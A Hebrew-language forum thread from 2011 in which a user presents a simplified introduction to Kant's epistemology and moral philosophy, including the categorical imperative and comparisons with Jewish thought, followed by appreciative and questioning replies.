בית פורומים עצור כאן חושבים

תאור פשוט של תורת המוסר של קאנט, כולל מבוא.

שלום אורח. באפשרותך להתחבר או להירשם
הצג 15 הודעות בעמוד הוסף לדף האישי  דווח למנהל שלח לחבר
נשלח ב-28/7/2011 00:31 לינק ישיר 
תאור פשוט של תורת המוסר של קאנט, כולל מבוא.

תאור פשוט של תורת המוסר של קאנט, כולל מבוא.

 

איך לבסס חירות ומוסר אוביקטיבי שיהיה תקף כלפי כל?

 

אזהרות.

1. תורת קאנט היא עמוקה מאד, רחבה ומקיפה מאד וקשה מאד. קשה להיכנס אליה ולהבין אותה ואת השלכותיה. מה שאוכל למסור כאן, באופן חלקי ומצומצם, יבא בפישוט רב מאד מאד.

2. כל תורה פילוסופית אינה כליל השלמות. יש בה בעיות רבות ואפשרויות שונות להבנה ופיתוח, אבל היא מספקת השקפת עולם שיש להתמודד עמה, כיוון שהיא נשענת על יסודות של טעם, מבררת שגיאות ואשליות ומציעה פתרונות של טעם.

3. אינני בקיא ומומחה לתורת קאנט ואינני מתימר לכך כלל. אנסה להציג הנושא בפשטות כמיטב יכולתי, ויחשבו דברי כטיוטא ראשונית, אם כי אשתדל כמובן לבדוק היטב את שאכתוב, כדי לא להטעות. אתקן דברים שגויים או שאינם מתוארים כראוי.

4. קורא המעוניין לקרא סקירה ראשונית טובה של תורת קאנט יפנה לאנציקלופדיה העברית. את הערך כתב פרופ' ירמיהו יובל והוא באמת מומחה בנושא הזה. ויקיפדיה מחסירה הרבה ואינה מומלצת כלל.

 

 

א. השקפה ניוטונית.

ניוטון ביסס את מדעי הטבע המודרניים כפי שאנחנו מבינים אותם היום. הם משולבי נסיון ופיתוח מתמטי.

הסיבתיות היא אחת מהנחות היסוד של התפיסה המדעית. סיבה פועלת על גוף ומשנה את מצבו. עלינו להבין את חוקי הסיבתיות שעל פיהן גוף אחד פועל על גוף אחר, ולנסח זאת במשוואות מתמטיות. למשל, אני זורק אבן מידי. בגלל שהפעלתי כח על האבן, היא נעה באויר במסלול מסוים וסופה שהיא נופלת לארץ. כל הארועים האלו נתנים למדידה ולביטוי מתמטי מדויק. בעזרת הביטוי המתמטי אוכל לחשב מראש איזה כח להפעיל על אבן במשקל מסוים כדי שתגיע למרחק מסוים.

 

ב. הספקנות של יום.

דוד יום Hume, פילוסוף סקוטי חריף אינו מטיל ספק בצורך המעשי של הפיסיקה להשתמש בסיבתיות. הוא שואל שאלה אחת קטנה: מה התוקף של המילה בגלל? אני רואה את היד המחזיקה באבן. אני רואה את התנועה שלה באויר, את הפגיעה באדמה. אפשר לחזור על הניסוי הזה. אבל מאין צצה לה המילה בגלל? אף אחד עוד לא חפר באדמה, מצא קופסה ובה מכתב האומר: 'כל דבר קורה בגלל סיבה.' על החתום: 'אמא טבע'. יום טוען שאולי זה צרוף מקרים מוצלח אבל אי אפשר לומר שיש לנו הכרה ודאית שפועל כאן איזה 'יצור' מוזר המכונה 'סיבה'. כאשר חושבים על הכרה ודאית, מתכוונים קודם כל למתמטיקה. אף אחד אינו מטיל ספק במשפט פיתגורס. למה?

 

ג. התשובה של קאנט.

קאנט מודה שיום העיר אותו מהחשיבה הדוגמטית המקובלת וגרם לו לפתח שיטה ביקורתית.

הוא קורא לכך המהפכה הקופרניקאית השניה.

אלפי שנים היו הכל בטוחים שהשמש מסתובבת סביב הארץ. רואים. כתוב. בא קופרניקוס והציע נקודת מבט חדשה: הארץ מסתובבת סביב השמש. הרעיון החדש התגלה כמוצלח יותר, נותן תוצאות טובות יותר.

 

מהי המהפכה של קאנט?

אם 'אמא טבע' לא חוקקה עבורי את חוק הסיבתיות, התבונה שלי תחוקק אותו. אם הטבע לא יכול לכוון את ההכרה שלי, התבונה שלי תכוון את הטבע.

האדם הרגיל משוכנע כי הוא תופס את מה שיש שם בחוץ כפי שהוא באמת. קאנט מבטל את התפיסה הזו ומשיב: אתה תופס על פי המבנה של התבונה, ועל פי האינטרסים שלה לתפוס ולהכיר. את מה שיש שם בחוץ באמת אנחנו לא יכולים לדעת. אנחנו קולטים נתוני תחושה מבחוץ ובונים מהם את התופעה. רק עולם התופעות – העולם הנסיוני של הפיזיקה, – כפי שאנו בונים אותו, הוא הנתון לנו, ולא מה שמעבר לו.

איזו מהפכה עצומה! איזה מחיר נצטרך לשלם עליה!

כמובן, צריך להראות שהיא מוצדקת ישימה ונכונה.

 

ד. תבונה

התבונה אינה לוח שהעולם החיצוני מטביע עליו את צורתו, ואינה רק אוסף כלים לביצוע פעולות מסוימות. התבונה היא פעילות מאורגנת ומכוונת של התודעה, שיש לה  מטרות, והיא פועלת באופן אקטיבי לפי האינטרסים שלה כדי לבנות את עצמה במבנה מסוים ולממש את המטרות שלה.

 

מאז ומתמיד בני אדם שאלו את עצמם שאלות שלא יכלו להימנע מהן כיוון שהתבונה שלהם כפתה אותן, ולא יכלו להשיב עליהן, משום שהדבר הוא מעבר לכוחה של התבונה. למשל, האם יש סיבתיות בלבד או גם חירות? האם העולם קדמון או מחודש בזמן? האם נוצר מתוך סיבה או במקרה? מהם היסודות האחרונים של העולם? האם יש מהות הכרחית כל יכולה או אין? האם יש איזה חומר פשוט או לא? איך הוא העולם כמכלול אחד שלם? כולנו מתקשים להבין מה הם באמת החלל והזמן. האם העולם טוב ורע? האם יש צדק? האם קימת הישארות הנפש?

לעומת המתמטיקה והלוגיקה, שנתנו תמיד ידיעות ודאיות, בכל יתר התחומים לא השגנו תשובות מספקות, והתבונה הסתבכה בכל מיני סתירות ובעיות. הבעיה של התבונה במה שיש לה שאיפות שהן מעבר ליכולות שלה, וכשהיא חורגת מן היכולות שברשותה, היא בונה 'ארמונות בשמים' שאין להם ביסוס של ממש.

קאנט מסכם את כל מגוון השאלות הזה בשלוש שאלות יסוד:

1. מה אני יכול לדעת? – זו שאלה עיונית של התבונה.

2. מה אני רשאי לעשות? – זו שאלה מעשית של התבונה.

3. למה אני רשאי לקוות? – זו שאלה עיונית ומעשית גם יחד.

 

הגיע השלב שבו התבונה צריכה ויכולה להביט בעצמה ולבקר את עצמה. לגלות את המבנה שלה, את היכולות שלה ואת הגבולות שלה. יש לתבונה יכולת להקים 'בית דין' פנימי שישפוט את הכשרים שלה ויקבע את הגבולות שלה. הוא כותב את שלשת ספרי הביקורת שלו, – זה מפעל חייו של קאנט, – בקורת התבונה הטהורה, בקורת התבונה המעשית, ובקורת כח השיפוט.

 

המילה 'טהור' מאז משמעה הוא דבר שנתון לנו מחוץ לנסיון. המתמטיקה היא מדע טהור, כי היא בונה את המושגים והמשפטים שלה בשימוש התבונה בלבד, ובלי לערב את הנסיון. לכן (א) התבונה תמיד תאשר את המשפטים של המתמטיקה. עובדה זו גורמת לוודאות האוביקטיבית של המתמטיקה, ו (ב) להיותה כפויה בהכרח על כל היצורים בני התבונה.

מעשה הבדיקה והחקירה הזה הוא ביקורת של התבונה הטהורה, שנתונה לנו מחוץ לנסיון. המדע הבודק את התבונה והנפש הנתונים לנו בנסיון הוא הפסיכולוגיה. אלו שני מדעים נפרדים. הראשון טהור, השני נסיוני.

 

ה. יכולת הבניה של התבונה.

כשאני אומר: 'יש לי מכונית רגילה', הקורא יודע מה כלול במושג הזה 'מכונית רגילה': מנוע, ארבעה גלגלים, הגה, מיכל דלק, דוושת דלק דוושת בלמים, בלם יד, מושבים, דלתות, חלונות... הוא לא צריך לעשות דבר מלבד לנתח את המושג 'מכונית' שקיים אצלו. שום ידע לא נוסף לו. הידיעה הזו היא ודאית, כי 'מכונית רגילה' בלי מיכל דלק היא לא 'מכונית רגילה'.

כשאני שואל: 'איזה צבע יש למכונית שלי?', אין לקורא מושג. הדרך היחידה לענות על השאלה היא ללכת ולראות את המכונית. לבצע נסיון. מצאנו שהמכונית אדומה. הנסיון מוסיף לנו מידע על המכונית שלא היה לנו קודם.

 

שאלה: האם יש לתבונה משפטים שמוסיפים לנו ידע בלי ניסיון, לפני כל נסיון?

 

קאנט משיב: כן ! כאשר אני מנסה להשיב על השאלה כמה הם 5 ועוד 7, התשובה אינה מצויה ב 5 ו ב 7. אני צריך לבצע הרכבה של יחידות, צעד אחר צעד, ולקבל את התוצאה 12. נוסף לנו מידע, אבל מידע זה נעשה על ידי השכל, בלי צורך לצאת החוצה ולקבל נתונים מבחוץ על ידי החושים.

 

המסקנה: משפטי המתמטיקה מוסיפים לנו ידע, אבל הידע הזה הוא 'טהור'. ידע שאינו תלוי בניסיון, והוא קודם לכל נסיון. כשאצטרך לספור בנסיון תפוחים או כפתורים אעשה זאת על ידי המשפטים של המתמטיקה שנתונים לי לפני הנסיון. המשפטים האלו מאפשרים לי לבצע את הנסיון.

 

שאלה: האם יש לתבונה שלנו עוד משפטים שמוסיפים לנו ידע, אבל הידע הזה הוא 'טהור', לא ידע שבא מהניסיון, אבל ידע שיאפשר את הנסיון?

 

איך אני יכול לבדוק ולהשיב על השאלה הזו? זכור, הבדיקה צריכה להעשות בתוך התבונה, בלי לצאת החוצה ולעשות נסיון.

התבונה שלנו משתמשת בשפה. זה הביטוי הפנימי שמצוי בה. השפה בנויה ממשפטים. אם ננתח את המשפטים של השפה, נגלה את הקטגוריות שקימות בתבונה ומאפשרות לנו לתפוס דברים וקשרי דברים במציאות.

סוג אחד של משפטים הוא משפטי סיבה. 'לכל תופעה יש סיבה'. זה משפט שמוסיף לנו ידע על התופעה: יש סיבה לקיומה של התופעה הזו. כשאני רואה יד אוחזת אבן, והיד מפעילה כח, והאבן עפה באויר, אז התבונה שלי אומרת את המשפט הבא: האבן עפה באוויר בגלל שהיד השליכה אותה. המילה 'בגלל' נאמרה כי התבונה שלנו הוסיפה לנתונים של ההכרה את הקטגוריה הסיבתית ויצרה משפט נסיוני.

 

המסקנה של קאנט: לתבונה שלנו יש קטגוריות טהורות, המצויות בתוכה לפני כל נסיון. כאשר ההכרה מקבלת מבחוץ נתונים מסוימים, היא מארגנת אותם מקשרת אותם על ידי קטגוריות מתאימות, ויוצרת משפט נסיוני : האבן עפה בגלל שהשלכנו אותה. הקטגוריות חלות על מושאי הטבע שבנסיון.

 

לא כל כך פשוט, התאור למעלה בא על מנת לסבר את האוזן בקריאה ראשונה.

באמצעות החושים, ההכרה קולטת חומר של תחושה.

את החומר הזה ההכרה מסדרת ומארגנת בצורות הסתכלות כלליות שנמצאות בה: החלל והזמן. בחלל אני מארגן תחושות זו לצד זו, ובזמן, תחושות הנמצאות זו עם זו או זו לאחר זו, ויוצר תופעה. התופעה מוצגת לשכל, והוא, בעזרת הקטגוריות, יוצר מושגים ומשפטי נסיון.

 

זו מסקנה מהפכנית. התבונה שלנו אינה מקבלת נסיון מוכן מבחוץ. התבונה שלנו בונה בעצמה את הנסיון מחומרים שהיא קולטת מבחוץ, בעזרת כלים שמצויים בידה. לא 'אמא-אדמה' או 'אמא טבע' הודיעה לנו על חוק הסיבתיות. התבונה שלנו היא בעלת החוק הזה, והיא שיוצרת לנו בעזרתו את הניסיון.

כל עולם התופעות הנסיוני, – העולם שתופסת הפיזיקה, – אינו נתון לנו בחוץ. אנחנו לא מביטים ורואים עולם. אנחנו בונים את העולם הנסיוני על ידי התבונה, על פי הכלים שבידיה.

 

העולם שבנינו אינו חלום, דמיון או הזיה. הוא עולם אובייקטיבי. כל העולם הנסיוני שהתבונה בונה, הוא עולם מאורגן שפועל על פי חוקים, ( חוק הסיבתיות הוא אחד מהם), כיוון שכך בנתה אותו התבונה. בכך השיב קאנט לבעיה שהעלה דוד יום.

 

ומה עם החירות שלנו? אנחנו דורשים חירות!

התשובה שמשיב קאנט: מצטער. אין חירות בעולם התופעות שבניסיון. הכל כפוף לסיבתיות.

 

אבל איש חכם הוא, עמנואל קאנט, והומניסט גדול. הסיבתיות הכרחית כדי לאפשר את הפיזיקה והעולם הנסיוני שלה. החירות הכרחית כדי לאפשר מוסר. איך נציל את המוסר? צריך לפנות לו מקום משלו!    

 

לפני שנעבור למוסר צריך לעסוק בעוד ענין חשוב אחד.

 

ו. גבולות יכולת התבונה.

קאנט הצליח, לשיטתו, לבסס את אפשרותה של הפיזיקה הנסיונית, הפיזיקה של ניוטון וממשיכיו.

עולם הנסיון הפיזיקלי הוא אפשרי משום שהתבונה היא שיוצרת אותו.

 

ומה באשר לשאלות הגדולות שכל כך מענינות אותנו. האם, למשל, יש לעולם התחלה או אין לה? האם יש מצוי ראשון כל יכול? האם ישנה חירות?

קאנט טוען כי התבונה שלנו היא סופית ומוגבלת. יש גבולות ליכולות שלה. כאשר התבונה שלנו חורגת מעבר לתחום היכולת שלה, היא יוצרת אשליות ומסתבכת בסתירות.

החריגה הזו אינה קפריזית, אלא היא נובעת מאינטרס מהותי של התבונה: להשיג את היסוד המוחלט של הדברים. כעת הגיע הזמן שהתבונה תסמן את הגבולות שלה ותכיר בחוסר אפשרותה לחצות אותם ולעמוד על קרקע יציבה.

 

קאנט טוען כי ישנן שלש אידאות גדולות, הנפש, העולם, אלהים, אשר ההכרה האנושית מנסה לקבוע אותן, אבל אין היא מסוגלת לכך כיוון שהיא חורגת מיכולתה.

1. בעניין הנפש, האם ה'אני' הוא עצם פשוט ולכן נצחי?

2. בענין העולם בכללו.

האם העולם [מעבר לתופעות שבו, המוכרות בנסיון], יש לו גבולות?

האם החומר נחלק לא'ס או אטומיסטי?

- על שתי אלו אין לענות לא לחיוב ולא לשלילה, כיוון שהדבר חורג מן הנסיון ומתיחס לעולם כולו ולא לתופעות שבו.

האם יש חרות או הכל קורה על פי חוקי הטבע (דטרמיניזם)?

האם יש נמצא הכרחי?

- תשובת קנט: בעולם התופעות, עולם הנסיון, אין חרות ואין נמצא הכרחי.

בכך משאיר קאנט פתח לעולם שמחוץ לנסיון.

3. בענין מציאות האלהים, אלהים אינו נתון של הנסיון הפיזיקאלי, והתבונה בכוחות עצמה בלבד אינה מסוגלת להוכיח את מציאותו. קאנט מונה את סוגי ההוכחות האפשריות, ומראה כי כל סוג של הוכחה נכשל.

 

האינטרס של התבונה בשלשת האידאות האלו יקבל ביטוי במישור חדש – המישור המעשי, תחום המוסר.

 

עלינו להכיר בגבולות ההכרה שלנו. אלפי שנים בנינו ארמונות מחשבתיים עצומים ומפוארים, אבל כולם היו ללא יסודות, וכולם התפוררו. כעת הצלחנו לבנות רק בית קטן, אבל בית יציב של ההכרה הנסיונית של הטבע, ועלינו להתנחם בכך. הנה המחיר שמשלם קאנט בעבור תורתו. בית קטן ובטוח תמורת ויתור על ארמונות מתפוררים.

 

ז. תורת המוסר. [כאן תתקבל גם התשובה של קאנט על השאלה שנשאלה באשכול אחר: באין אמונה באלהים מדוע לא לרצוח?] 

 

הבעיות.

1. הטבע הוא דטרמיניסטי, הכל פועל מתוך סיבה. כיצד אפשרי מוסר הדורש רצון ובחירה חופשיים, המניעים שרשרת סיבות חדשה

2. על מה נתן לבסס מוסר אוניברסאלי, התקף כלפי הכל.

 

הפתרון ימצא בתבונה.

1. התבונה היא שביססה את אפשרות הטבע הפיסיקלי. יש לבדוק אם היא יכולה לבסס אפשרות טבע מוסרי.

2. כל בני האדם הם יצורים בעלי תבונה. מוסר הנובע מן התבונה יהיה אוניברסאלי ותקף עבור כל היצורים התבוניים, והאדם בכללם.

 

הקטע הבא הוא קשה לתפיסה, ומצריך מאמץ בקריאה ראשונית.

 

האדם הוא אזרח בשני עולמות.

1. אזרח בעולם התופעות.

כאשר אני בוחן אדם אחר, או את עצמי, כאוביקט של נסיון בעולם התופעות, תמיד אמצא אותו כפוף לחוק חיצוני.  אין חירות ורצון חופשי בעולם התופעות. יש אינטרסים רגילים ומותנים, ויכולות פעולה למימוש האינטרסים האלו. למשל, אדם נותן תרומת כסף גדולה לבית חולים. מעשה זה מונע על ידי גורמים שונים, כגון לעשות שם טוב בציבור, להשיג השפעה או טובת הנאה אחרת. אדם אינו גונב מפחד העונש. כל אלו, מעשים ראויים או בלתי ראויים, אינם שייכים למישור המוסרי, כיוון שכולם מותנים בסיבתיות ולא בחירות.

 

2. אזרח בעולם תבוני.

כאשר התבונה מביטה בעצמה ובוחנת את עצמה מחוץ לנסיון, היא מגלה בתוכה תכלית עליונה, להשיג את הטוב העליון. הטוב העליון מבקש להשיג את עיצובו של עולם הטבע כולו כעולם מוסרי. איחוד הטבע שבנסיון  ועולם המוסר לעולם אחד.

עוד היא מגלה בתוכה כלים המאפשרים את המוסר. כושר הבחנה בין טוב ורע. רצון חופשי לבחור בין אפשרויות על פי ההבחנה המוסרית, יכולת להניע את עצמה למימוש הבחירה ובכך להניע שרשרת סיבתית חדשה.

 

התבונה בשימוש העיוני שלה, הצליחה לבסס את הטבע הנסיוני. אבל היא דורשת מעצמה שימוש נוסף, שימוש מעשי, להגשמת התכלית המוסרית שלה. שימוש שלא הצליחה להוכיח אבל גם לא לסתור בביקורת העיונית. כך נתפנה מקום עבור השמוש המעשי של התבונה.

ההצדקה ההגיונית של הדרישה המעשית לאושר והשגת הטוב העליון, במה שהתבונה מוצאת אותם בתכליות ובאינטרסים שלה. וכשם שהתבונה, באינטרס העיוני שלה, ביססה את הכרת הטבע שבנסיון, כך, באינטרס המעשי שלה, היא רשאית לדרוש את יכולת ההגשמה של התכלית המוסרית שלה.

 

המוסר הוא ביטוי המגלה את המבנה הפנימי של התבונה.  

כשם שהתבונה הראתה לנו כיצד היא מסוגלת להכיר ולבנות את הטבע הפיזיקאלי מתוך המבנה הפנימי שלה, כך היא מראה לנו כיצד, באלו כלים ולאזו תכלית היא מסוגלת לפעול בעולם המעשי של המוסר.

אם אי אפשר להוכיח את כל אלו בנסיון, אלא רק בהסתכלות פנימית בתוך התבונה, אזי התבונה מציגה לנו דרישה – פוסטולט, ודורשת מאיתנו לקיים את הדרישה הזו במישור המעשי.

 

הפוסטולאטים – הדרישות – של המוסר המעשי.

1. קיימת חירות, רצון שאינו מותנה בסיבה חיצונית. אם מוטלת עלינו חובה מוסרית, חייב שיהיה רצון חופשי כאפשרות לקיים את החובה.

2. דרישה לקיום מקור משותף לעולם הטבע הדטרמיניסטי ולעולם המוסרי בעל החירות. דרישה זו נחוצה כדי שאפשר יהיה לכונן מוסר בעולם הטבע.

מקור משותף זה הוא 'אלוהים', אבל אין שום הקשר בין המושג הזה לבין ציורו אצל בעלי הדתות.

3. דרישה להישארות הנפש כאפשרות להשלמת המשימה המוסרית של האדם בעולם, משימה שאינו מסוגל להשלימה בפרק חייו הסופי.

 

ח. האימפרטיו הקטגורי = הצו המוחלט.

מה צריך להיות החוק העליון שיקבע את המעשים המוסריים שלי?

הבן היטב: זה אינו חוק שאני מוצא בחוץ. זה חוק שהתבונה שלי מחוקקת.

 

כיוון שכולנו חולקים באותה תבונה, הרי כולנו, כסוביקטים, שווים במעמד, וכולנו בעלי רצון חופשי.

צריך למצא צו, שכל אחד, באופן חופשי, יחוקק אותו, וכולם יחוקקו את אותו הצו. כך יהיה אחד ומשותף לכולם.

כיוון שהצו צריך לחול על כל המקרים שמחייבים הכרעה מוסרית, הצו יכיל רק צורה המשותפת לכל התכנים.  

 

נוסח ראשון של הצו הקטגורי.

[זה אינו הנוסח הנכון אלא נוסח מפרש שלי, להקל על הבנת הענין].

במצב מסויים, אבחר לפעול באופן מסוים, אשר אני רוצה שיהיה גם חוק כללי. כלומר, שכל אחד במצבי, יבחר מרצונו החופשי לפעול באותו האופן.

 

השוויון שבין כל בעלי התבונה כיצורים מוסריים, דורש להתיחס אל כל אחד לא רק כאמצעי להשיג איזה דבר, אלא תמיד גם כתכלית לעצמה, כלומר שגם האחר ישיג את האושר שלו.

 

הנוסח השני של הצו הקטגורי.

[במילים שלי]

פעל תמיד כך, שהאנושי בי ובכל אחד אחר, יהיה תמיד גם תכלית של הפעולה, ואף פעם לא רק אמצעי למטרה אחרת.

 

ט. הפעולה המוסרית.

יש לפני מצב מסוים. אני בין חבורה של אנשים היושבים יחד. הבחנתי כי אחד מהם שמט מבלי משים עט יקר על הארץ ואיש מלבדי אינו משגיח בדבר. מה לעשות?

1. להרים את העט ולשים בכיסי, אבל אני חושש שמישהו יראה ואבוא לידי בושה.

2. להרים את העט ולהחזירו לבעל האבדה. כולם ישבחו את יושרי ויכבדו אותי.

שתי האפשרויות האלו אינן בתחום המוסר. יש בהן שיקול זר המפעיל את שיקול הדעת שלי.

 

שלב 1. שיקול מוסרי.

כיצד הייתי רוצה שכל אחד יפעל במקרה כזה? – תשובה: שכל אחד יחליט להחזיר את האבדה, ושהחלטה זו תהיה חוק כללי. 

אני רוצה שכל אדם שאיבד דבר ונגרם לא נזק או צער, תושב אבדתו ויעלמו נזקו וצערו.

 

שלב 2. חקיקת כלל מדריך לפעולה.

אחר השיקול המוסרי אני מחוקק לעצמי כלל מדריך שיקבע מה עלי לעשות במצב המוסרי בו אני נתון.

הכלל המדריך שאני מחוקק הוא: פעל להחזרת העט לבעליו.

 

שלב 3. חופש הרצון.

הכלל המדריך שחוקקתי מתיצב מולי ומצווה עלי לציית לו. קמה לי חובה לציית לכלל המדריך הזה.

אבל יש לי רצון חופשי. והוא שקובע את המעשה בפועל. אני יכול לציית לצו ולמלא את החובה, ואני יכול שלא לציית לצוו, ולא למלא אחר החובה.

אני בוחר ועושה לפי רצוני החופשי.

אם החזרתי את האבדה עשיתי מעשה מוסרי חיובי. אם לא החזרתי את האבדה, עשיתי מעשה מוסרי שלילי. שני המעשים נעשו במישור המוסרי.

 

אם נמנע ממני, באופן אוביקטיבי שאינו תלוי בי, המעשה שהחלטתי עליו, קובעת הכוונה, ולא מה שארע בפועל. [להבדיל מהנהוג במשפט ששופט על המעשה].

החלטתי להרים את העט לשים אותו בכיס שלי, אבל קודם מעשה, מישהו הסב את תשומת ליבו של בעל האבדה לעט שעל הארץ והוא הרים אותו. מבחינה מוסרית אני אשם בגנבה, אף על פי שבפועל לא עשיתי דבר.

 

י. האוטונומיה של המוסר. [אוטו-נומיה = חוק משל עצמי].

כל השלבים שתוארו למעלה, נעשו על ידי, כיצור תבוני חופשי, מתוך הכרה ושיקול דעת תבוניים ומתוך בחירה של רצון חופשי.

התאור משלב ביטויים חובה, צו, חוק. כולם ביטויים אשר בלשון יום יומית מציינים כפיפות של אדם לדברים שהם חיצוניים לו. אבל במישור המוסרי, כל אלו מציינים פעולה עצמאית, אוטונומית לחלוטין. אני השוקל, אני המחוקק, אני המעמיד את הצו מולי כדי שיחייב אותי ויצווה עלי, ואני מפעיל את רצוני החופשי ובוחר את המעשה. כל השלבים האלו הם ביטוי של חירות ואוטונומיה.

כולם ביטוי של ספונטאניות -  כולם נובעים ממני כאדם פרטי, ללא נגיעה אל החוץ.

 

אדם המציית לחוק המדינה האוסר על גנבה, וטוב שהוא מציית לכך, אינו פועל במישור המוסרי.

טענת יסוד שהשמיע אייכמן במשפטו היתה: אני קאנטיאני, ועל פי תורתו המוסרית עלי לציית לחוק של המדינה וכך עשיתי. לכו אני אדם מוסרי ואין אשמה במעשי. הטעון הזה אינו ראוי אפילו לעיון.

[מדינה המעריכה את מעמדו של האדם כיצור מוסרי, - בהכרח זו מדינה דמוקרטית, - מדינה כזו תחוקק חוק המכיר בכבוד האדם וחרותו, ותדאג שלא תהיה התנגשות בין צרכי המדינה והצווים שלה, לבין הדרישה המוסרית-תבונית המחייבת את הפרט. הדברים כלל אינם פשוטים לישום].

 

יא. ממלכת התכליות.

האדם מתנהג על פי האינטרסים שלו על מנת לממש את מטרותיו. הוא מתחרה באחרים ופועל נגדם. בחברה הרגילה הוא מתנהג על פי חוקים האמורים לאזן בין האינטרסים המנוגדים.

אילו היו בני האדם מגשימים את הצו הקטגורי, היתה נוצרת אגודה של בני אדם אשר כולם סולידאריים בינם לבין עצמם, ורצון כל אדם להשיג את אושרו שלו היה קשור ותלוי ברצונו לספק גם את אושם של כל יתר החברי האגודה, אשר אל כל אחד מהם הוא מתיחס כאל תכלית לעצמו.

כך נוצרת ממלכה שכל אחד מחבריה הוא תכלית בפני עצמו, ולכן היא קרויה 'ממלכת התכליות'.

בראש הממלכה הזו עומד האל, גם הוא דמות תבונית, גם הוא פועל במישור המוסרי, גם הוא בעל רצון חופשי, אבל רצונו חסר כל שיקול זר מעבר לזה התבוני-מוסרי, ולכן הוא נוהג בהתאם לצו המוסרי בלבד. רצון זה נקרא רצון קדוש.

 

יב. הקבלה לרעיונות במחשבה היהודית.

1. חז'ל אומרים 'אמר רבי חנינא הכל בידי שמים חוץ מיראת שמים' [ברכות לג:]. יראת שמים היא מוסריותו של האדם להיות טוב או רשע. מה שנותן מקום לפעולה מתוך חירות בעולם דטרמיניסטי. פעילותו המוסרית של האדם לקיים את הצו המוסרי או לדחות אותו נתונה לבחירתו, על פי רצונו החופשי. מקום שיש בו בחירה חופשית יש בו גם אחריות החלה על הבוחר.

 

מהי כל התורה על רגל אחת? שני צווים ונימוק קטגורי (מוחלט).

2. צו אחד מנוסח באופן שלילי ואומר מה אסור לך לעשות: 'את השנוא עליך אל תעשה לחברך'. הצו הוא צורני. את התוכן צריך למלא בכל מקרה לגופו. [משמעות הנוסח השלילי כאן אינו זהה למשמעות הנוסח החיובי בו מנוסח הצו הקטגורי].

 

3. הצו השני מנוסח באופן חיובי ואומר מה אתה חייב לעשות והוא כמעט בלתי אפשרי: 'ואהבת לרעך כמוך'. בחינתו של צו זה היא תכליתית. הנימוק המוחלט 'בצלם אלהים ברא אותו' [בראשית א 27]. 'צלם אלהים' משמע שהוא יצור תבוני, בעל רצון חופשי והכרה מוסרית. מכאן נובע כבודו של האדם וחובתך לכבדו. כשם שאתה שואף להיות מאושר, חובתך המוסרית לסייע גם לזולת להיות מאושר, כיוון שהוא, עבורך, תכלית כשלעצמו. זהו 'ואהבת לרעך כמוך'.

 

4. צלם אלהים הוא העיקרון המאחד את כל בני האדם כבעלי תבונה, הוא המחייב לראות בכולם בעלי מעמד מוסרי שווה, כולם בעלי חירות וכולם ראויים לכבוד. העיקרון הזה גם מבטא את ממלכת התכליות שכל בני האדם הם חבריה, ובראשה עומד האל. אבל מושג האל, והיחס בין האל והאדם שונים לחלוטין בשתי התורות, ואינם אלא משותפים בשם 'אלוהים' בלבד.

 

5. ההבדל המכריע לדעתי בין שתי התורות האלו, במה שבמחשבת ישראל החוקים העליונים מתקבלים מבחוץ והמאמין נדרש לקבל אותם. האדם הקאנטיאני נדרש לחוקק אותם על ידי תבונתו מתוך נביעה פנימית, ספונטאנית. הוא יצור אוטונומי. גם היחס אל-אדם ומעמדו של האדם בעולם שונה לחלוטין.

עודד



תוקן על ידי 932woland ב- 28/07/2011 00:36:42

 



תוקן על ידי 932woland ב- 28/07/2011 00:46:28

 



תוקן על ידי 932woland ב- 28/07/2011 00:50:44




תוקן על ידי 932woland ב- 28/07/2011 00:57:09




דווח על תוכן פוגעני

מחובר
נשלח ב-28/7/2011 01:17 לינק ישיר 

וואלה כל כך יפה, כל הכבוד לך, תבוא כל יום לכאן אולי נזכה סוף סוף לחכמה ולתבונה,
תודה לך צדיק
max



דדווח על תוכן פוגעני

מנותק
נשלח ב-28/7/2011 01:20 לינק ישיר 

אגב: ביהדות כן יש את המושג לשמה ולא לשמה, נכון שיש טועים לומר שלשמה פירושו לשם האלוקים, אבל זה בא מהטעות וחוסר הבנה מהי האלוקים בכלל, מי שמבין מהו האלוקים מבין מהו לשמה ולא לשמה,



דדווח על תוכן פוגעני

מנותק
נשלח ב-28/7/2011 06:47 לינק ישיר 

הוא לא העתיק מחז"ל במקרה?
זה רק נראה לי או שזה מזכיר איזו משנה בחגיגה?
מזכיר גם את רבי נחמן בעניין החקירות ואת שאלות על החלל הפנוי.

קאנט טוען כי התבונה שלנו היא סופית ומוגבלת. יש גבולות ליכולות שלה. כאשר התבונה שלנו חורגת מעבר לתחום היכולת שלה, היא יוצרת אשליות ומסתבכת בסתירות.

החריגה הזו אינה קפריזית, אלא היא נובעת מאינטרס מהותי של התבונה: להשיג את היסוד המוחלט של הדברים. כעת הגיע הזמן שהתבונה תסמן את הגבולות שלה ותכיר בחוסר אפשרותה לחצות אותם ולעמוד על קרקע יציבה.





דדווח על תוכן פוגעני

מחובר
נשלח ב-28/7/2011 17:03 לינק ישיר 

וולאנד

טול סדרת איקונים ירוקים.

לקחת את אחד התחומים הקשים ביותר בתולדות הפילוסופיה, התורות הקנטיאניות, והפכת אותן לנגישות כמעט לכל אדם.

אני סבור שמי שאינו מכיר את הרעיונות ואת מושגי היסוד יצטרך אולי לקרוא יותר מפעם אחת. אבל קשה להבין את קאנט בלי זה. והוא ראוי לכל מאמץ.

***
על תרומת התבונה וממשותה


כבר אמר מי שאמר כי לכל אדם יש שתי פילוסופיות. עד שלמד את קאנט הוא רואה את העולם כנתון, מה שיש בנסיון ובחושים הוא מה שיש בעולם.

לאחר לימוד קאנט, אדם לומד לראות את העולם כתוצר של התבונה והנסיון הבא בחושים.

מחקר המוח של ימינו מצדיק את קאנט. אלא שמה שהוא תלה בישות שמחוץ לנסיון שניתן לשער את קיומה כפוסטולאט (=הנחת יסוד) אנו מגלים כסך הכל של פעילויות מוחיות (אם כי יתכן שזה לא הכל ולא כל דבר ניתן להסביר, אלא שכבר חרגתי מנושא האשכול).

***
חולשת הצו הקטגורי

לגבי קאנט עצמו, עלי לציין שיש כאן "חור" לוגי שלא הבנתי מאז למדתיו לראשונה.

הצו הקטגורי, לנהוג כך שהמעשה שאני בוחר יכול להפוך לחוק כללי, מספיק כדי להצביע על התשובה ה"נכונה מוסרית" חלק מהפעמים.

לא כולן. קאנט ופרשניו דנים בשאלה אם הצו המוסרי נותן גם תכנים חיוביים. למשל, האם יש עלי חובה ללמוד מקצוע ולתרום בתחום שאני מסוגל אליו. האם הגר"א, שלפי המסופר עליו יכול היה להיות רופא דגול, היה חייב לפי קאנט ללמוד רפואה כי הכלל אומר שראוי שכל רופא יתרום לאנושות?

